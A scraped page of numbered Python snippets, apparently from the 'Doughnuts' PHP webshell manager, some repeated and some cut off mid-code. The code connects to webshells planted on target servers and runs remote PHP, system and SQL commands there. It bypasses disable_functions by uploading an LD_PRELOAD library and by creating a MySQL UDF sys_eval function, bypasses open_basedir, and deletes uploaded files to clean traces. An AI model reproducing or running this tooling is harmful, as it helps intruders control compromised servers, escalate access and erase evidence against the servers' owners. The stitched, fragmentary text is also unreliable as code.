Example #1
0
def main(print_banner: bool = True):
    if (print_banner):
        banner()
    gset("root_path", path.split(path.realpath(__file__))[0])
    with open(path.join(gget("root_path"), "auxiliary", "user_agents", "ua.txt"), "r") as f:
        gset("user_agents", f.readlines())
    register_helpmenu()
    run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")
Example #2
0
def run():
    """
    exit

    Quit this program.
    """
    gset("loop", False, True)
    clean_trace()
    sys_exit()
Example #3
0
def is_windows(remote: bool = True):
    if (remote):
        return gget("webshell.iswin", "webshell")
    else:
        if (not gget("iswin")):
            flag = True if 'win' in system().lower() else False
            gset("iswin", flag)
        else:
            flag = gget("iswin")
        return flag
Example #4
0
def run():
    """
    switch

    (for input Non-ascii) Switch input between raw input and better input.

    """
    switch = not gget("raw_input", default=False)
    print(
        f"\nRaw input: {color.green('On') if switch else color.red('Off')}\n")
    gset("raw_input", switch, True)
Example #5
0
def run(directory: str = ''):
    """
    cd

    Change the working directory.
    """
    res = send(f"chdir(base64_decode('{base64_encode(str(directory))}'));print(getcwd());")
    if (not res):
        return
    pwd = res.r_text.strip()
    gset("webshell.pwd", pwd, namespace="webshell")
    gset("webshell.prompt", f"doughnuts ({color.cyan(gget('webshell.netloc', 'webshell'))}) > ")
Example #6
0
def run():
    """
    db_shell

    Get a temporary sql shell of target system.
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    print(
        color.cyan(
            "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n"
        ))
    database = gget("db_dbname", "webshell")
    prompt = "mysql (%s) > "
    set_namespace("webshell", False, True)
    wordlist = gget("webshell.wordlist")
    readline.set_wordlist(NEW_SQL_WORDLIST)
    try:
        while gget("loop"):
            print(prompt % color.cyan(database), end="")
            command = readline()
            lower_command = command.lower()
            if (lower_command.lower() in ['exit', 'quit', 'back']):
                print()
                break
            if (command == ''):
                print()
                continue
            if (lower_command.startswith("use ") and len(lower_command) > 4):
                try:
                    temp_database = match("use ([^;]*);?",
                                          lower_command).group(1)
                    res = send(check_database(temp_database))
                    if ("Connect error" in res.r_text):
                        print("\n" + color.red(res.r_text.strip()) + "\n")
                    else:
                        database = temp_database
                        print("\n" + color.green(
                            f"Change current database: {database}") + "\n")
                except (IndexError, AttributeError):
                    print("\n" + color.red("SQL syntax error") + "\n")
            else:
                form = execute_sql_command(command, database)
                if (form == ''):
                    print("\n" +
                          color.red("Connection Error / SQL syntax error") +
                          "\n")
                else:
                    print(execute_sql_command(command, database))
    finally:
        gset("db_dbname", database, True, "webshell")
        readline.set_wordlist(wordlist)
Example #7
0
def loop_main():
    """
    run_loop main function
    """
    gpf = gget("general.pf")
    api = gget("api")
    old_namespace = ''
    while gget("loop"):
        namespace = gget("namespace")
        tpf = None
        npf = gget(f"{namespace}.pf")
        if (namespace != old_namespace):
            wordlist = gget(namespace + ".wordlist")
            prefix_wordlist = gget(namespace + ".prefix_wordlist")
            readline.set_wordlist(wordlist)
            readline.set_prefix_wordlist(prefix_wordlist)
        # --------------------------------------
        print(gget(f"{namespace}.prompt"), end="")
        cmd = readline().strip()
        gset("raw_command", cmd, True)
        if (not cmd):
            continue
        args = shlex.split(cmd)  # 切割
        if " " in cmd:  # 输入的命令
            order = args[0]
        else:
            order = cmd
        del args[0]
        raw_command_args = " ".join(args)
        gset("raw_command_args", raw_command_args, True)
        order = order_alias(order)  # 解析别名
        # --------------------------------------
        if order in npf:  # 命令存在
            tpf = npf
        elif order in gpf:
            tpf = gpf
        elif cmd:
            print("[Error] %s: Command Not Found" % order)
        if tpf:
            try:
                arg_dict = args_parse(args)  # 解析参数
                tpf[order].run(**arg_dict)
            except TypeError as e:
                exc_type, exc_value, exc_tb = exc_info()
                print("[TypeError] %s" %
                      str(e).replace("%s()" % api, "%s()" % order))
                if DEBUG_LOOP:
                    print_exception(exc_type, exc_value, exc_tb)
            except Exception as e:
                exc_type, exc_value, exc_tb = exc_info()
                if DEBUG_LOOP:
                    print_exception(exc_type, exc_value, exc_tb)
                print("[%s] %s" % (exc_type.__name__, e))
Example #8
0
def run(id: int = 0):
    """
    load

    Load a webshell from log.

    eg: load {id}
    """
    pf = gget("main.pf")
    root_path = gget("root_path")
    webshell_log_path = path.join(root_path, "webshell.log")
    if (not path.exists(webshell_log_path)):
        print(color.red("No webshell.log"))
        return
    f = open(webshell_log_path, "r+")
    lines = f.readlines()
    try:
        if (id <= 0):
            line_num = pf["show"].run()
            print("choose:>", end="")
            load_id = readline()
            if (load_id.isdigit()):
                load_id = int(load_id)
            else:
                print(color.red("\nInput Error\n"))
                return
        else:
            load_id = id
            line_num = len(lines)
        if load_id <= line_num:
            data = lines[load_id - 1].strip().split("|")
            gset("webshell.from_log", True, namespace="webshell")
            connect = pf["connect"].run(*data)
            if (not connect):
                print(
                    "\nThis webshell seems to no longer working, do you want to delete it?\n\n(YES/no) >",
                    end="")
                flag = input()
                if (flag.lower() in ['n', 'no']):
                    return
                del lines[load_id - 1]
                f.seek(0)
                f.truncate()
                f.write("".join(lines))
        else:
            print(color.red("ID error"))
    finally:
        f.close()
Example #9
0
def run(directory: str = ''):
    """
    cd

    Change the working directory.

    eg: cd {directory=""}
    """
    res = send(
        f"chdir(base64_decode('{base64_encode(str(directory))}'));print(getcwd());"
    )
    if (not res):
        return
    pwd = res.r_text.strip()
    gset("webshell.pwd", pwd, namespace="webshell")
    update_prompt()
Example #10
0
def run(database: str):
    """
    db_use

    Change current database.
    """
    if (not gget("db_connected", "webshell")):
        print(color.red("Please run db_init command first"))
        return
    res = send(get_php(database))
    if ("Connect error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print("\n" + color.green(f"Change current database: {database}") +
              "\n")
        gset("db_dbname", database, True, "webshell")
Example #11
0
def run():
    """
    bobd

    (Only for *unix) Try to bypass open_basedir by ini_set and chdir.
    """
    disable_func_list = gget("webshell.disable_functions", "webshell")
    if (is_windows()):
        print(color.red("Target system isn't *unix"))
        return
    if ("chdir" in disable_func_list or ("ini_set" in disable_func_list and "ini_alter" in disable_func_list)):
        print("\n" + color.red("ini_set/ini_alter or chdir function is disabled") + "\n")
        return
    switch = not gget("webshell.bypass_obd", "webshell", default=False)
    print(
        f"\nbypass open_basedir: {color.green('On') if switch else color.red('Off')}\n")
    gset("webshell.bypass_obd", switch, True, "webshell")
Example #12
0
def run(proxy_url: str = ""):
    """
    proxy

    Set proxy for requests, Support socks and http, Set None to unset.

    eg: proxy {proxy_url='http://127.0.0.1:10808'}
    """
    if (proxy_url == ""):
        print("\n" +
              color.green(f"Current proxy: {gget('proxy_url', 'webshell')}") +
              "\n")
    else:
        if (proxy_url.lower() == "none"):
            proxy_url = None
        Session.proxies = {'http': proxy_url, 'https': proxy_url}
        print("\n" + color.green(f"Set proxy: proxy {proxy_url}") + "\n")
        gset("proxy_url", proxy_url, True, namespace="webshell")
Example #13
0
def has_env(env: str, remote: bool = True):
    if (is_windows(remote)):
        command = "where"
    else:
        command = "which"
    if (remote):
        if (not gget("webshell.has_%s" % env, "webshell")):
            flag = send(get_system_code(f"{command} {env}")).r_text
            gset("webshell.has_%s" % env, flag, namespace="webshell")
        else:
            flag = gget("webshell.has_%s" % env, "webshell")
    else:
        if (not gget("has_%s" % env)):
            flag = check_output([command, env]).strip().decode(LOCAL_ENCODING)
            gset("has_%s" % env, flag)
        else:
            flag = gget("has_%s" % env)
    return len(flag)
Example #14
0
def run(switch: str = "SEND"):
    """
    debug

    Open / Close Debug switch.

    switch:
        - SEND
        - LOOP
    """
    switch = switch.upper()
    if (switch in ["LOOP", "SEND"]):
        switch_name = "DEBUG." + switch
        button = not gget(switch_name, default=False)
        gset(switch_name, button)
        print(
            f"\nSet DEBUG switch {switch}: {color.green('On') if button else color.red('Off')}\n")
    else:
        print(color.red("\nNo this switch\n"))
Example #15
0
def clean_trace():
    def get_clean_ld_preload_php(filename: str):
        system_clean_command = f"rm -f {filename} && echo success"
        return """$f=base64_decode("%s");
    if (!unlink($f)){
        %s
    }else{echo "success";}
    """ % (base64_encode(filename), get_system_code(system_clean_command))

    ld_preload_filename = gget("webshell.ld_preload_path", "webshell", None)
    if (ld_preload_filename):
        print(color.yellow("\nClean LD_PRELOAD traces...\n"))
        res = send(get_clean_ld_preload_php(ld_preload_filename))
        if (res):
            text = res.r_text.strip()
            if ("success" in text):
                print(color.green("Clean success\n"))
            else:
                print(color.red("Clean failed\n"))
    gset("webshell.ld_preload_path", None, True, "webshell")
    gset("webshell.ld_preload_func", None, True, "webshell")
Example #16
0
def run(switch: str = ""):
    """
    verbose

    Open / Close verbose info for prompt.

    switch:
        - ON
        - OFF
    """
    switch = switch.upper()
    if (switch in ["ON", "OFF", ""]):
        switch_name = "PROMPT.VERBOSE"
        if switch == "":
            gset(switch_name, not gget(switch_name, default=False))
        elif switch == "ON":
            gset(switch_name, True)
        elif switch == "OFF":
            gset(switch_name, False)
        update_prompt()
        print(
            f"\nSet verbose info: {color.green('On') if gget(switch_name) else color.red('Off')}\n"
        )
    else:
        print(color.red("\nNo this switch\n"))
Example #17
0
def set_mode(mode: int, test: bool = False):
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)):
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled.\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension!\n"))
            return False
    if (not test):
        if (mode == 7):
            print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n"))
        print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n")
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Example #18
0
def run_loop(loop_init_object: Loop_init, leave_message: str = "Bye!"):
    """
    run_loop

    Args:
        loop_init_object (Loop_init): Loop Init class
        leave_message (str, optional): The message when you leave. Defaults to 'Bye!'.
    """
    from threading import Thread
    from time import sleep

    set_namespace("main", callback=False if gget("preload_command") else True)
    gset("leave_message", leave_message)
    t = Thread(target=loop_main)
    t.setDaemon(True)
    t.start()
    while gget("loop"):
        try:
            sleep(10)
        except KeyboardInterrupt:
            continue
        except EOFError:
            break
    sys_exit()
Example #19
0
def main(print_banner: bool = True):
    if (print_banner):
        banner()
    gset("root_path", path.split(path.realpath(__file__))[0])
    with open(path.join(gget("root_path"), "auxiliary", "user_agents", "ua.txt"), "r") as f:
        gset("user_agents", f.readlines())
    register_helpmenu()

    try:
        with open("./variables.config", "r") as f:
            try:
                for key, value in loads(f.read()).items():
                    custom_set(key=key, value=value)
                print(
                    f"\n{color.green('Variable(s) loaded successfully from file variables.config')}\n")
            except JSONDecodeError:
                print(
                    f"\n{color.yellow('Variable(s) could not be read correctly')}\n")
    except FileNotFoundError:
        pass
    except IOError:
        print(f"\n{color.red('Permission denied to read variables.config')}\n")

    run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")
Example #20
0
def run(filepath="log.txt"):
    """
    log

    (Only for *unix) Write input and output to the log.

    eg: log {filepath="log.txt"}
    """
    if (is_windows(False)):
        print(color.red("\nYour system isn't *unix\n"))
        return
    if access(filepath, W_OK):
        print(color.green(f"\nSet log in {filepath}\n"))
        sys.stdout = Logger(filepath, sys.__stdout__)
        sys.stderr = Logger(filepath, sys.__stderr__)
        gset("log_filepath", filepath, True)
        gset("log_stdout", sys.stdout, True)
        gset("log_stderr", sys.stderr, True)
    else:
        print(color.red("\nFile path is invalid\n"))
Example #21
0
def set_mode(mode: int, test: bool = False):
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        disable_func_list = gget("webshell.disable_functions", "webshell")
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            ld_preload_func = send(get_detectd_ld_preload()).r_text.strip()
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x86_64.so"), filename, True)
            if (not upload_result):
                return
            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")
            if ("putenv" in disable_func_list):
                print(color.red("\nputenv is disabled\n"))
                return False
            if (not ld_preload_func):
                print(color.red("\nNo ld_preload function!\n"))
                return False
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False
            system = "windows" if (gget("webshell.iswin",
                                        "webshell")) else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))
            print("\nInput target system bits (32/64/exit): ", end="")
            bits = "64"
            _ = readline().strip()
            if (_ == "32"):
                bits = 32
            elif (_ in ["back", "exit", "quit"] or _ != "64"):
                return False
            udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "udf", "mysql",
                          system, bits, "lib_mysqludf_sys" + udf_ext),
                udf_path, True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False
        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    if (not test):
        if (mode == 7):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Example #22
0
    def __init__(self, api: str = "run", init_namespace: str = "main"):
        """
        Initialize the loop

        Args:
            api (str, optional): The name of the entry function that is common to all plugins.. Defaults to "run".
            default_namespace (str, optional): Initial namespace. Defaults to "main".
        """
        platforms = self.set_platforms()
        gset("api", api)
        gset("loop", True)
        gset("blockexit", False)
        gset("namespace", init_namespace)
        gset("root_path", path[0])
        gset("namespace_folders",  platforms)
        gset("folders_namespace", {v: k for k, v in platforms.items()})
        root_path = gget("root_path")
        cwd = getcwd()
        chdir(root_path)
        for k, v in platforms.items():
            pf = import_platform(v, api)
            gset(k + ".pf", pf)
            gset(k + ".wordlist", {"command_wordlist": list(pf.names())})
            gset(k + ".prefix_wordlist", {command: gget(command + ".arg_wordlist", k)
                                          for command in gget(k + ".wordlist")["command_wordlist"]})
        general_wordlist = gget("general.wordlist")["command_wordlist"]
        for k in platforms.keys():  # 往其他插件平台添加general平台的命令列表
            if (k == "general"):
                continue
            wordlist = gget(k + ".wordlist")
            wordlist["command_wordlist"] += general_wordlist
        for k, v in self.set_prompts().items():
            gset(k + ".prompt", v)
        chdir(cwd)
Example #23
0
                print(
                    f"\n{color.yellow('Variable(s) could not be read correctly')}\n")
    except FileNotFoundError:
        pass
    except IOError:
        print(f"\n{color.red('Permission denied to read variables.config')}\n")

    run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")


class My_Loop_init(Loop_init):
    def set_platforms(self) -> dict:
        return {"main": "main_plugins", "webshell": "webshell_plugins", "general": "general", "encode": "encode"}

    def set_prompts(self) -> dict:
        return {"main": "doughnuts > ", "webshell": "> "}


if __name__ == "__main__":
    argc = len(argv)
    if (argc > 1):
        if (argv[1].lower() in ["generate", "gen"] and 1 < argc < 8):
            gset("outside", True)
            from main_plugins.generate import outside_generate as generate
            generate(*argv[2:])
        elif (argv[1] in ["connect", "c"]):
            gset("preload_command", " ".join(argv[1:]))
            main(False)
    else:
        main()
Example #24
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders_or_params...}
    """
    method = str(method).upper()
    params_dict = {"headers": {}}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    if (is_windows(False)):
        new_eop = []
        extra_params = []
        pass_next = False
        eop_len = len(encoders_or_params)
        for i in range(eop_len):  # 清洗数据,解决windows下a=b传成2个参数的错误
            v = str(encoders_or_params[i])
            if (pass_next):
                pass_next = False
                continue
            if (":" not in v):
                new_eop.append(str(v))
            elif (i < eop_len - 1):
                extra_params.append(v + "=" + str(encoders_or_params[i+1]))
                pass_next = True
        encoders_or_params = new_eop
    extra_params = [f for f in encoders_or_params if "=" in str(f)]
    params_dict[raw_key] = {}
    for each in extra_params:
        if(":" in each):
            k, data = each.split(":")
            if (k not in params_dict):
                params_dict[k] = {}
            params_dict[k].update(dict([(k, value_translation(v[0]))
                                        for k, v in parse_qs(data).items()]))
        else:
            k, data = each.split("=")
            if (k not in params_dict):
                params_dict[k] = {}
            if (k == "auth"):
                params_dict[k] = value_translation(data)
    webshell_netloc = urlparse(url).netloc
    gset("webshell.url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encoders_or_params, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target",
                  webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    version_flag_start = randstr(
        string=ascii_letters + digits, offset=randint(32, 62))
    version_flag_end = randstr(
        string=ascii_letters + digits, offset=randint(32, 62))
    res = send(
        'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True)
    if (not res or version_flag_start not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if version_flag_start in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[
             1].split("|" + version_flag_end)[0], namespace="webshell")
        info_req = send(
            """$bit=PHP_INT_SIZE==4?32:64;
print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);"""
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt",
             f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        bits = info[7]
        try:
            bits = int(bits)
        except ValueError:
            bits = 0
            print(color.yellow("detect architecture error\n"))
        gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell")
        gset("webshell.arch", bits, namespace="webshell")
        gset("webshell.directory_separator", info[8], namespace="webshell")
        gset("webshell.disable_functions",
             disable_function_list, namespace="webshell")
        root_path = gget("root_path")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            extra = "|".join(encoders_or_params) + \
                "|" if encoders_or_params else ""
            with open(path.join(root_path, "webshell.log"), "ab+") as f:
                text = f.read()
                if (text):
                    f.seek(-1, SEEK_END)
                    if f.read(1) != b"\n":
                        f.write(b"\n")
                f.write(f"{url}|{method}|{pwd}|{extra}\n".encode())
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        update_prompt()
        if (exec_func == ''):
            print(color.red("No system execute function\n"))
        return True
Example #25
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders_or_params...}
    """
    method = str(method).upper()
    params_dict = {"headers": {}}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    if (is_windows(False)):
        new_eop = []
        extra_params = []
        pass_next = False
        eop_len = len(encoders_or_params)
        for i in range(eop_len):  # 清洗数据,解决windows下a=b传成2个参数的错误
            v = str(encoders_or_params[i])
            if (pass_next):
                pass_next = False
                continue
            if (":" not in v):
                new_eop.append(str(v))
                continue
            if ("=" not in v and i < eop_len - 1):
                extra_params.append(v + "=" + str(encoders_or_params[i + 1]))
                pass_next = True
            else:
                extra_params.append(str(v))
        encoders_or_params = new_eop + extra_params
    extra_params = [f for f in encoders_or_params if ":" in str(f)]
    params_dict[raw_key] = {}
    for each in extra_params:
        k, data = each.split(":")
        if (k not in params_dict):
            params_dict[k] = {}
        params_dict[k].update(
            dict([(k, v[0]) for k, v in parse_qs(data).items()]))
    webshell_netloc = urlparse(url).netloc
    gset("webshell.url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encoders_or_params, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target",
                  webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");',
               raw=True)
    if (not res or "c4ca4238a0b923820d" not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if "c4ca4238a0b923820d" in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version",
             res.r_text.split("c4ca4238a0b923820d|")[1].split(
                 "|cc509a6f75849b")[0],
             namespace="webshell")
        info_req = send(
            """print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));"""
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset("webshell.os_version", info[1], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt",
             f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        gset("webshell.disable_functions",
             disable_function_list,
             namespace="webshell")
        root_path = gget("root_path")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            extra = "|".join(
                encoders_or_params) + "|" if encoders_or_params else ""
            with open(path.join(root_path, "webshell.log"), "a+") as f:
                f.write(f"{url}|{method}|{pwd}|{extra}\n")
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        if (exec_func == ''):
            print(color.red("No system execute function!\n"))
        return True
Example #26
0
def run(host: str,
        username: str,
        password: str,
        dbname: str = "",
        port: int = 0,
        dbms: str = "mysql"):
    """
    db_init

    Initialize the database connection.

    Support dbms:
    - mysql
    - mssql
    - access

    eg: db_init {host} {username} {password} {dbname=''} {port=0} {dbms='mysql'}
    """
    dbms = dbms.lower()
    db_ext = dbms
    res = send(detect_ext("PDO", "mysqli"))
    if (not res):  # 探测是否存在pdo/mysqli扩展
        print("\n" + color.red("Detect error") + "\n")
        return
    text = res.r_text.lower()
    if (dbms == "mysql" and not text):
        print("\n" + color.red("No PDO and mysqli extension") + "\n")
        return
    elif ("pdo" not in text):
        print("\n" + color.red("No PDO extension") + "\n")
        return
    if (dbms in PDO_DMBS_EXT_DICT):
        res = send(detect_ext(*PDO_DMBS_EXT_DICT[dbms]))
        text = res.r_text.strip()
        if (not res):  # 探测pdo支持的mssql扩展
            print("\n" + color.red(f"Detect PDO extension for {dbms} error") +
                  "\n")
            return
        db_ext = text.split(",")[0][4:]
    gset("db_dbms", dbms, True, "webshell")
    gset("db_ext", db_ext, True, "webshell")
    gset("db_connect_type", text.split(",")[0], True, "webshell")
    res = send(get_php(host, username, password, dbname, port))
    if (not res):
        return
    if ("Connect error" in res.r_text):
        print("\n" + color.red(res.r_text.strip()) + "\n")
    else:
        print("\n" + color.green("Connect success"))
        gset("db_connected", True, True, "webshell")
        gset("db_host", host, True, "webshell")
        gset("db_username", username, True, "webshell")
        gset("db_password", password, True, "webshell")
        gset("db_dbname", dbname, True, "webshell")
        gset("db_port", port, True, "webshell")
        info = res.r_text.strip()
        if (info):
            info_list = info.split("\n")
            try:
                gset("db_current_user", info_list[0], True, "webshell")
                gset("db_version", info_list[1], True, "webshell")
                print_db_info()
            except IndexError:
                print("\n" + color.red("Select data error") + "\n")
Example #27
0
def run(mode: str = '0'):
    """
    bdf

    Try to bypass disable_functions by php7-backtrace-bypass.

    Mode -1 / Mode close:

        Close bdf

    Mode auto:

        Automatically filter and test all bdf modes

    Mode 0:

        Display the current bdf mode

    Mode 1 php7-backtrace(Only for php7.0-7.4 and *unix) :

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

        Targets:
        - 7.0 - all versions to date
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 < 7.3.15 (released 20 Feb 2020)
        - 7.4 < 7.4.3 (released 20 Feb 2020)

    Mode 2 php7-gc(Only for php7.0-7.3 and *unix) :

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

        Targets:
        - 7.0 - all versions to date
        - 7.1 - all versions to date
        - 7.2 - all versions to date
        - 7.3 - all versions to date

    Mode 3 php7-json(Only for php7.1-7.3):

        Origin:
        - https://github.com/mm0r1/exploits/tree/master/php-json-bypass

        Targets:
        - 7.1 - all versions to date
        - 7.2 < 7.2.19 (released 30 May 2019)
        - 7.3 < 7.3.6 (released 30 May 2019)

    Mode 4 LD_PRELOAD(Only for *unix):

        Need:
        - putenv, mail/error_log/mb_send_mail/imap_email fucntions enabled

    Mode 5 FFI(Only for *unix and php >= 7.4):

        Author:
        - MorouU

        Need:
        - FFI extension

    Mode 6 COM(Only for windows):

        Need:
        - com_dotnet extension

    Mode 7 imap_open:

        Need:
        - imap extension

    """
    if (mode == "close"):
        mode = -1
    if (mode == "auto"):
        test_list = windows_test_list if is_windows() else linux_test_list
        php_version = gget("webshell.php_version", "webshell")
        if (not php_version.startswith("7.")):
            test_list -= {1, 2, 3}
        for test_mode in test_list:
            print(f"Try Mode {test_mode} {mode_to_desc_dict[test_mode]}:")
